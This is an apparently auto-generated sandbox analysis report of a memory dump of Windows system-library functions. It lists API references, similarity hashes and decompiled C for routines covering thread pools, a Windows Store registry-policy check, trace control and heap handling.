0x6b56f874
0x6b56f879
0x6b56f87b
0x6b56f87e
0x6b56f880
0x6b56f883
0x6b56f888
0x6b5b47c9
0x6b5b47ce
0x00000000
0x6b56f8b1
0x6b56f8b4
0x6b56f8f1
0x6b56f8f1
0x6b56f900
0x6b56f902
0x6b56f905
0x6b56f907
0x6b56f9a9
0x6b56f9a9
0x6b56f8e9
0x6b56f8ee
0x6b56f8ee
0x6b56f90e
0x6b56f913
0x6b56f91c
0x6b56f91e
0x6b56f9e4
0x6b56f98b
0x6b56f98b
0x6b56f992
0x6b56f997
0x6b56f99a
0x6b56f99c
0x6b56f9e9
0x6b56f9ea
0x6b56f9ea
0x6b56f99e
0x6b56f9a0
0x6b56f9a7
0x6b56f9a7
0x00000000
0x6b56f9a0
0x6b56f924
0x6b56f92a
0x6b56f9b0
0x6b56f9b6
0x6b56f982
0x6b56f985
0x6b56f987
0x6b56f987
0x6b56f987
0x00000000
0x6b56f987
0x6b56f9be
0x6b56f9c6
0x6b56f9cb
0x6b56f9cb
0x6b56f9cd
0x6b56f9cf
0x6b56f9d2
0x00000000
0x00000000
0x00000000
0x6b56f9d4
0x6b56f930
0x6b56f935
0x6b56f937
0x6b5b47a3
0x6b56f93d
0x6b56f942
0x6b56f94a
0x6b56f94c
0x6b56f94e
0x6b56f94e
0x6b56f954
0x6b56f95e
0x6b56f961
0x6b56f966
0x6b56f968
0x6b56f96a
0x6b56f96a
0x6b56f970
0x6b56f970
0x6b56f975
0x6b56f97a
0x6b56f97c
0x6b5b47b1
0x00000000
0x00000000
0x00000000
0x00000000
0x6b56f97c
0x6b56f8b6
0x6b56f8bb
0x6b56f8c0
0x6b56f8c8
0x6b56f8ca
0x6b56f8cf
0x6b56f8d1
0x6b56f8d1
0x6b56f8d5
0x6b56f8dc
0x6b56f8e5
0x00000000
0x6b56f8e7
0x6b56f8e7
0x00000000
0x6b56f8e7
0x6b56f8e5

APIs

RtlAcquireSRWLockShared.1105(?,?,?,?,6B61FEB8,0000001C,6B542C4C,?), ref: 6B56F8BB
TpAllocPool.1105(00000000,00000000,?,?,?,6B61FEB8,0000001C,6B542C4C,?), ref: 6B56F8FB
RtlAcquireSRWLockExclusive.1105(?,00000000,00000000,?,?,?,6B61FEB8,0000001C,6B542C4C,?), ref: 6B56F90E
TpSetPoolMaxThreads.1105(00000000,7FFE03C0,?,00000000,00000000,?,?,?,6B61FEB8,0000001C,6B542C4C,?), ref: 6B56F954
TpSetPoolMaxThreadsSoftLimit.1105(00000000,7FFE03C0,00000000,7FFE03C0,?,00000000,00000000,?,?,?,6B61FEB8,0000001C,6B542C4C,?), ref: 6B56F970
TpSetPoolMaxThreads.1105(00000000,00000001,?,00000000,00000000,?,?,?,6B61FEB8,0000001C,6B542C4C,?), ref: 6B56F9BE
TpSetPoolMinThreads.1105(00000000,00000001,00000000,00000001,?,00000000,00000000,?,?,?,6B61FEB8,0000001C,6B542C4C,?), ref: 6B56F9C6

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Pool$Threads$AcquireLock$AllocExclusiveLimitSharedSoft
String ID:
API String ID: 4196657934-0
Opcode ID: 85079abb489d1c9a67c7daaea25e3a7de6bde89c519865568cbaa042706c2862
Instruction ID: 3dcac171eb120fc0e370e12a0c3b1e683bfdbd10e74bad9304ea33da36873feb
Opcode Fuzzy Hash: 85079abb489d1c9a67c7daaea25e3a7de6bde89c519865568cbaa042706c2862
Instruction Fuzzy Hash: 7F418AB1E00305AFFB219BB8C850BDEB7B5AF89798F1004A9E450E7265E77D8840CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6B545210, Relevance: 15.1, APIs: 10, Instructions: 107
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6B545210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				void* _t35;
				int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = L6B5452A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *(_t31 + 0x28);
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *(_t61 + 0x10);
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E6B5895D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
						}
					} else {
						E6B55EB70(_t54, 0x6b6379a0);
					}
					return _t52 + 2;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E6B5895D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
							}
						} else {
							E6B55EB70(_t54, 0x6b6379a0);
						}
						return _t52;
					}
					L5:
					_t33 = memcpy(_a8, _t54, _t52);
					if(_t61 == 0) {
						E6B55EB70(_t54, 0x6b6379a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E6B5895D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t35 + _t52)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x6b545220
0x6b545224
0x6b5a0d13
0x6b5a0d16
0x6b5a0d19
0x6b54522a
0x6b54522a
0x6b54522d
0x6b54522d
0x6b545231
0x6b545235
0x6b545239
0x6b5a0d5c
0x6b5a0d62
0x00000000
0x00000000
0x6b5a0d6a
0x6b5a0d7b
0x6b5a0d7f
0x6b5a0d81
0x6b5a0d84
0x6b5a0d95
0x6b5a0d95
0x6b5a0d6c
0x6b5a0d71
0x6b5a0d71
0x00000000
0x6b54524a
0x6b54524a
0x6b545250
0x6b5a0d24
0x6b5a0d35
0x6b5a0d39
0x6b5a0d3b
0x6b5a0d3e
0x6b5a0d50
0x6b5a0d50
0x6b5a0d26
0x6b5a0d2b
0x6b5a0d2b
0x00000000
0x6b5a0d55
0x6b545256
0x6b54525b
0x6b545265
0x6b5a0da7
0x6b54526b
0x6b54526e
0x6b545272
0x6b5a0db1
0x6b5a0db4
0x6b5a0dc5
0x6b5a0dc5
0x6b545272
0x6b545278
0x6b54527e
0x6b54528a
0x6b54528c
0x6b54528d
0x00000000
0x6b545280
0x6b545282
0x6b545288
0x6b54529f
0x6b545292
0x00000000
0x6b545292
0x00000000
0x6b545288
0x6b54527e

APIs

memcpy.1105(?,?), ref: 6B54525B
RtlLeaveCriticalSection.1105(6B6379A0), ref: 6B5A0D2B
RtlLeaveCriticalSection.1105(6B6379A0), ref: 6B5A0D71
ZwClose.1105(?), ref: 6B5A0D84
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6B5A0D95
RtlLeaveCriticalSection.1105(6B6379A0), ref: 6B5A0DA7
ZwClose.1105(?), ref: 6B5A0DB4
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6B5A0DC5

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalLeaveSection$CloseFreeHeap$memcpy
String ID:
API String ID: 3958933951-0
Opcode ID: 83a548008178c4d4ca6bdf4719cba3b210e37342701d4835a324f25267e58619
Instruction ID: b785f3811673fa35a14ecdcb955334deb2c927e08f55886e6aca9c47e0092768
Opcode Fuzzy Hash: 83a548008178c4d4ca6bdf4719cba3b210e37342701d4835a324f25267e58619
Instruction Fuzzy Hash: 56316832664610EBF7218F28C841FEA7765FF40760F114A6BE9155B5A4EB38FC00C690

Uniqueness

Uniqueness Score: -1.00%

Function 6B57FF9C, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 100
nativeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6B57FF9C() {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				void* _v28;
				void* _v36;
				void* _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				signed int _t35;
				signed int _t52;
				char _t57;
				void* _t68;

				_t35 =  *0x6b635c88; // 0x2
				_t68 = 2;
				if(_t35 == _t68) {
					_v12 = 0;
					RtlInitUnicodeString( &_v28, L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsStore");
					_v12 = 0;
					_v60 =  &_v28;
					_push( &_v68);
					_push(0x20019);
					_v68 = 0x18;
					_push( &_v12);
					_v64 = 0;
					_v56 = 0x40;
					_v52 = 0;
					_v48 = 0;
					if( *0x6b526cd8() >= 0) {
						_v8 = 0;
						_v16 = 4;
						RtlInitUnicodeString( &_v36, L"AutoDownload");
						if(E6B61F1B5(_v12,  &_v36,  &_v20,  &_v8,  &_v16) < 0 || _v20 != 4 || _v8 != _t68) {
							_v8 = 0;
							_t57 = 4;
							_v16 = _t57;
							RtlInitUnicodeString( &_v44, L"DisableStoreApps");
							if(E6B61F1B5(_v12,  &_v44,  &_v20,  &_v8,  &_v16) < 0 || _v20 != _t57) {
								goto L3;
							} else {
								if(_v8 == 1) {
									goto L9;
								}
							}
						} else {
							L9:
							asm("lock cmpxchg [edx], ecx");
						}
					} else {
						L3:
					}
					asm("lock cmpxchg [edx], esi");
				}
				_t52 =  *0x6b635c88; // 0x2
				return _t52 & 0xffffff00 | _t52 == 0x00000000;
			}

0x6b57ffa1
0x6b57ffae
0x6b57ffb1
0x6b57ffcf
0x6b57ffd2
0x6b57ffdb
0x6b57ffde
0x6b57ffe4
0x6b57ffe5
0x6b57ffed
0x6b57fff4
0x6b57fff5
0x6b57fff8
0x6b57ffff
0x6b580002
0x6b580010
0x6b5bc15d
0x6b5bc161
0x6b5bc168
0x6b5bc187
0x6b5bc1a8
0x6b5bc1ae
0x6b5bc1b5
0x6b5bc1b8
0x6b5bc1d7
0x00000000
0x6b5bc1e6
0x6b5bc1ee
0x00000000
0x6b5bc1f4
0x6b5bc1ee
0x6b5bc194
0x6b5bc199
0x6b5bc19d
0x6b5bc19d
0x6b580016
0x6b580016
0x6b580016
0x6b58001d
0x6b58001d
0x6b57ffb3
0x6b57ffc3

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore,?,?,?), ref: 6B57FFD2
ZwOpenKey.1105(?,00020019,?), ref: 6B580005

Strings

AutoDownload, xrefs: 6B5BC155
DisableStoreApps, xrefs: 6B5BC1AF
@, xrefs: 6B57FFF8
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore, xrefs: 6B57FFC4

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode
String ID: @$AutoDownload$DisableStoreApps$\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore
API String ID: 3946626324-1446860424
Opcode ID: 8145eddca48682ea87ed17f4a771821c41e9f2bda10f7edbc9fbe1cce1740aec
Instruction ID: 4ee73aa5a236681399cffd8fccdee5402882a27b6300dd79f31d4a49b55e37f2
Opcode Fuzzy Hash: 8145eddca48682ea87ed17f4a771821c41e9f2bda10f7edbc9fbe1cce1740aec
Instruction Fuzzy Hash: 8A311AB1E0122DEFEB11DF99C8809DEBBB9FB49314F14446BE505E6200DB389A458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6B5F3D40, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6B5F3D40(intOrPtr __ecx, void** __edx) {
				signed int _v8;
				void** _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				void* _v28;
				char _v29;
				intOrPtr* _v32;
				char _v36;
				char _v37;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t34;
				void* _t37;
				intOrPtr* _t42;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				char _t51;
				void* _t52;
				intOrPtr* _t53;
				void** _t55;
				void _t59;
				char* _t61;
				intOrPtr* _t64;
				void* _t65;
				void** _t67;
				void* _t68;
				signed int _t70;

				_t62 = __edx;
				_t72 = (_t70 & 0xfffffff8) - 0x1c;
				_v8 =  *0x6b63d360 ^ (_t70 & 0xfffffff8) - 0x0000001c;
				_t34 =  &_v28;
				_v20 = __ecx;
				_t67 = __edx;
				_v24 = _t34;
				_t51 = 0;
				_v12 = __edx;
				_v29 = 0;
				_v28 = _t34;
				E6B562280(_t34, 0x6b638a6c);
				_t64 =  *0x6b635768; // 0x6b635768
				if(_t64 != 0x6b635768) {
					while(1) {
						_t8 = _t64 + 8; // 0x6b635770
						_t42 = _t8;
						_t53 = _t64;
						 *_t42 =  *_t42 + 1;
						_v16 = _t42;
						E6B55FFB0(_t53, _t64, 0x6b638a6c);
						_t10 = _t64 + 0xc; // 0x6b53e2b8
						 *0x6b63b1e0(_v24, _t67);
						if( *((intOrPtr*)( *_t10))() != 0) {
							_v37 = 1;
						}
						E6B562280(_t45, 0x6b638a6c);
						_t47 = _v28;
						_t64 =  *_t64;
						 *_t47 =  *_t47 - 1;
						if( *_t47 != 0) {
							goto L8;
						}
						if( *((intOrPtr*)(_t64 + 4)) != _t53) {
							L10:
							_push(3);
							asm("int 0x29");
						} else {
							_t15 = _t53 + 4; // 0x6b635768
							_t48 =  *_t15;
							if( *_t48 != _t53) {
								goto L10;
							} else {
								 *_t48 = _t64;
								_t61 =  &_v36;
								 *((intOrPtr*)(_t64 + 4)) = _t48;
								_t49 = _v32;
								if( *_t49 != _t61) {
									goto L10;
								} else {
									 *_t53 = _t61;
									 *((intOrPtr*)(_t53 + 4)) = _t49;
									 *_t49 = _t53;
									_v32 = _t53;
									goto L8;
								}
							}
						}
						L11:
						_t51 = _v29;
						goto L12;
						L8:
						if(_t64 != 0x6b635768) {
							_t67 = _v20;
							continue;
						}
						goto L11;
					}
				}
				L12:
				E6B55FFB0(_t51, _t64, 0x6b638a6c);
				while(1) {
					_t37 = _v28;
					_t55 =  &_v28;
					if(_t37 == _t55) {
						break;
					}
					if( *((intOrPtr*)(_t37 + 4)) != _t55) {
						goto L10;
					} else {
						_t59 =  *_t37;
						if( *((intOrPtr*)(_t59 + 4)) != _t37) {
							goto L10;
						} else {
							_t62 =  &_v28;
							_v28 = _t59;
							 *((intOrPtr*)(_t59 + 4)) =  &_v28;
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t37);
							continue;
						}
					}
					L18:
				}
				_pop(_t65);
				_pop(_t68);
				_pop(_t52);
				return E6B58B640(_t51, _t52, _v8 ^ _t72, _t62, _t65, _t68);
				goto L18;
			}

0x6b5f3d40
0x6b5f3d48
0x6b5f3d52
0x6b5f3d59
0x6b5f3d5d
0x6b5f3d61
0x6b5f3d63
0x6b5f3d67
0x6b5f3d69
0x6b5f3d72
0x6b5f3d76
0x6b5f3d7a
0x6b5f3d7f
0x6b5f3d8b
0x6b5f3d91
0x6b5f3d91
0x6b5f3d91
0x6b5f3d94
0x6b5f3d96
0x6b5f3d9d
0x6b5f3da1
0x6b5f3da7
0x6b5f3db0
0x6b5f3dba
0x6b5f3dbc
0x6b5f3dbc
0x6b5f3dc6
0x6b5f3dcb
0x6b5f3dcf
0x6b5f3dd1
0x6b5f3dd4
0x00000000
0x00000000
0x6b5f3dd9
0x6b5f3e0c
0x6b5f3e0c
0x6b5f3e0f
0x6b5f3ddb
0x6b5f3ddb
0x6b5f3ddb
0x6b5f3de0
0x00000000
0x6b5f3de2
0x6b5f3de2
0x6b5f3de4
0x6b5f3de8
0x6b5f3deb
0x6b5f3df1
0x00000000
0x6b5f3df3
0x6b5f3df3
0x6b5f3df5
0x6b5f3df8
0x6b5f3dfa
0x00000000
0x6b5f3dfa
0x6b5f3df1
0x6b5f3de0
0x6b5f3e11
0x6b5f3e11
0x00000000
0x6b5f3dfe
0x6b5f3e04
0x6b5f3e06
0x00000000
0x6b5f3e06
0x00000000
0x6b5f3e04
0x6b5f3d91
0x6b5f3e15
0x6b5f3e1a
0x6b5f3e1f
0x6b5f3e1f
0x6b5f3e23
0x6b5f3e29
0x00000000
0x00000000
0x6b5f3e2e
0x00000000
0x6b5f3e30
0x6b5f3e30
0x6b5f3e35
0x00000000
0x6b5f3e37
0x6b5f3e3e
0x6b5f3e42
0x6b5f3e48
0x6b5f3e4e
0x00000000
0x6b5f3e4e
0x6b5f3e35
0x00000000
0x6b5f3e2e
0x6b5f3e5b
0x6b5f3e5c
0x6b5f3e5d
0x6b5f3e68
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6B638A6C,?,00000000,00000000,?,?,?,?,?,?,6B5F3CAA,00000000,00008000,?), ref: 6B5F3D7A
RtlReleaseSRWLockExclusive.1105(6B638A6C,6B638A6C,?,00000000,00000000,?,?,?,?,?,?,6B5F3CAA,00000000,00008000,?), ref: 6B5F3DA1
RtlDebugPrintTimes.1105(?,?,6B638A6C,6B638A6C,?,00000000,00000000,?,?,?,?,?,?,6B5F3CAA,00000000,00008000), ref: 6B5F3DB0
RtlAcquireSRWLockExclusive.1105(6B638A6C,?,?,?,?,?,?,6B5F3CAA,00000000,00008000,?), ref: 6B5F3DC6
RtlReleaseSRWLockExclusive.1105(6B638A6C,6B638A6C,?,00000000,00000000,?,?,?,?,?,?,6B5F3CAA,00000000,00008000,?), ref: 6B5F3E1A
RtlFreeHeap.1105(?,00000000,6B638A6C,6B638A6C,6B638A6C,6B638A6C,?,00000000,00000000,?,?,?,?,?,?,6B5F3CAA), ref: 6B5F3E4E

Strings

hWck, xrefs: 6B5F3D85
hWck, xrefs: 6B5F3DFE

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$DebugFreeHeapPrintTimes
String ID: hWck$hWck
API String ID: 1017367878-2980874885
Opcode ID: d695d7cfbc1cd6acf562be521009b717c4650a16db01fbc44b81f2a14194b9fc
Instruction ID: 06039c58a47cdd1f950ed4c95f9ac178003885e16eadddb0d30855ecc2e1599f
Opcode Fuzzy Hash: d695d7cfbc1cd6acf562be521009b717c4650a16db01fbc44b81f2a14194b9fc
Instruction Fuzzy Hash: ED3137B1509312DFE710DF28C58059ABBE6FF89744F0449AEE5949B250D738DD06CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B574BAD, Relevance: 13.6, APIs: 9, Instructions: 131
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6B574BAD(long __ecx, void* __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				long _v28;
				intOrPtr _v32;
				char _v36;
				void _v156;
				short _v158;
				intOrPtr _v160;
				long _v164;
				long _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				void* _t84;
				void* _t85;
				long _t86;
				int _t87;
				long _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x6b63d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E6B54CC50(_t86);
					L11:
					return E6B58B640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0 || _t45 !=  *((intOrPtr*)(_t77 + 0x34))) {
					goto L22;
				} else {
					_t9 = _t77 + 0x24; // 0x6b638504
					E6B562280(_t9, _t9);
					_t87 = 0x78;
					 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
					memset( &_v156, 0, _t87);
					_t85 =  &_v156;
					_v36 =  *((intOrPtr*)(_t77 + 0x30));
					_v28 = _v168;
					_v32 = 0;
					_v24 = 0;
					_v20 = _v158;
					_v160 = 0;
					while(1) {
						_push( &_v164);
						_push(_t87);
						_push(_t85);
						_push(0x18);
						_push( &_v36);
						_push(0x1e);
						_t88 = E6B58B0B0();
						if(_t88 != 0xc0000023) {
							break;
						}
						if(_t85 !=  &_v156) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						}
						_t84 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v164);
						_v168 = _v164;
						if(_t84 == 0) {
							_t88 = 0xc0000017;
							goto L19;
						} else {
							_t74 = _v160 + 1;
							_v160 = _t74;
							if(_t74 >= 0x10) {
								L19:
								_t86 = RtlNtStatusToDosError(_t88);
								if(_t86 != 0) {
									L8:
									 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
									_t30 = _t77 + 0x24; // 0x6b638504
									E6B55FFB0(_t77, _t84, _t30);
									if(_t84 != 0 && _t84 !=  &_v156) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t84);
									}
									if(_t86 != 0) {
										goto L12;
									} else {
										goto L11;
									}
								}
								L6:
								 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
								if(_v164 != 0) {
									_t83 = _t84;
									E6B574F49(_t77, _t84);
								}
								goto L8;
							}
							_t87 = _v168;
							continue;
						}
					}
					if(_t88 != 0) {
						goto L19;
					}
					goto L6;
				}
			}

0x6b574bad
0x6b574bbf
0x6b574bc2
0x6b574bc6
0x6b574bcd
0x6b574bd9
0x6b5b67fe
0x6b5b6800
0x6b574ccc
0x6b574ccd
0x6b574cb7
0x6b574cc9
0x6b574cc9
0x6b574bdf
0x6b574be5
0x00000000
0x6b574bf5
0x6b574bf5
0x6b574bf9
0x6b574c06
0x6b574c0b
0x6b574c17
0x6b574c1f
0x6b574c25
0x6b574c33
0x6b574c3d
0x6b574c40
0x6b574c43
0x6b574c47
0x6b574c4d
0x6b574c53
0x6b574c54
0x6b574c55
0x6b574c56
0x6b574c5b
0x6b574c5c
0x6b574c63
0x6b574c6b
0x00000000
0x00000000
0x6b5b6776
0x6b5b6784
0x6b5b6784
0x6b5b679f
0x6b5b67a7
0x6b5b67af
0x6b5b67ce
0x00000000
0x6b5b67b1
0x6b5b67b7
0x6b5b67b8
0x6b5b67c1
0x6b5b67d3
0x6b5b67d9
0x6b5b67dd
0x6b574c94
0x6b574c94
0x6b574c98
0x6b574c9c
0x6b574ca3
0x6b5b67f4
0x6b5b67f4
0x6b574cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x6b574cb5
0x6b574c79
0x6b574c7e
0x6b574c89
0x6b574c8b
0x6b574c8f
0x6b574c8f
0x00000000
0x6b574c89
0x6b5b67c3
0x00000000
0x6b5b67c3
0x6b5b67af
0x6b574c73
0x00000000
0x00000000
0x00000000
0x6b574c73

APIs

RtlAcquireSRWLockExclusive.1105(6B638504,6B635338,00000000,6B635320), ref: 6B574BF9
memset.1105(?,00000000,00000078,6B638504,6B635338,00000000,6B635320), ref: 6B574C17
ZwTraceControl.1105(0000001E,00000000,00000018,?,00000078,?,6B635338,00000000,6B635320), ref: 6B574C5E
RtlReleaseSRWLockExclusive.1105(6B638504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6B635338,00000000,6B635320), ref: 6B574C9C
RtlSetLastWin32Error.1105(00000000,6B638504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6B635338,00000000,6B635320), ref: 6B574CCD
RtlFreeHeap.1105(?,00000000,?,0000001E,00000000,00000018,?,00000078,?,6B635338,00000000,6B635320), ref: 6B5B6784
RtlAllocateHeap.1105(?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6B635338,00000000,6B635320), ref: 6B5B679A

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateControlErrorFreeLastReleaseTraceWin32memset
String ID:
API String ID: 375855687-0
Opcode ID: 9ccffac12a383f322f8749dac4defe7fcc9a221de6bb904f6fb138a6d07fe7c3
Instruction ID: 0ade3eb72f243ddd652dc247f766e0a6edb1f210c02fec8c828e9077b4d580ff
Opcode Fuzzy Hash: 9ccffac12a383f322f8749dac4defe7fcc9a221de6bb904f6fb138a6d07fe7c3
Instruction Fuzzy Hash: E541C031E406289BEB21DF68C945BDEB7B8EF85740F0104E5E908AB254DB7CDE85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B574D3B, Relevance: 13.6, APIs: 9, Instructions: 131
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6B574D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				void _v176;
				char _v177;
				long _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t42;
				void* _t44;
				long _t46;
				intOrPtr _t50;
				long _t56;
				void* _t57;
				int _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x6b63d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				memset( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x6b637bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E6B58B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
						}
						_v177 = 1;
						_t44 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = RtlNtStatusToDosError(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E6B58B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E6B58F380(_t67 + 0xc, 0x6b525138, 0x10) == 0) {
								 *0x6b6360d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E6B574F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				_t56 = E6B574E70(0x6b6386b0, 0x6b575690, 0, 0);
				if(_t56 != 0) {
					_t46 = RtlNtStatusToDosError(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x6b574d3b
0x6b574d4d
0x6b574d53
0x6b574d58
0x6b574d65
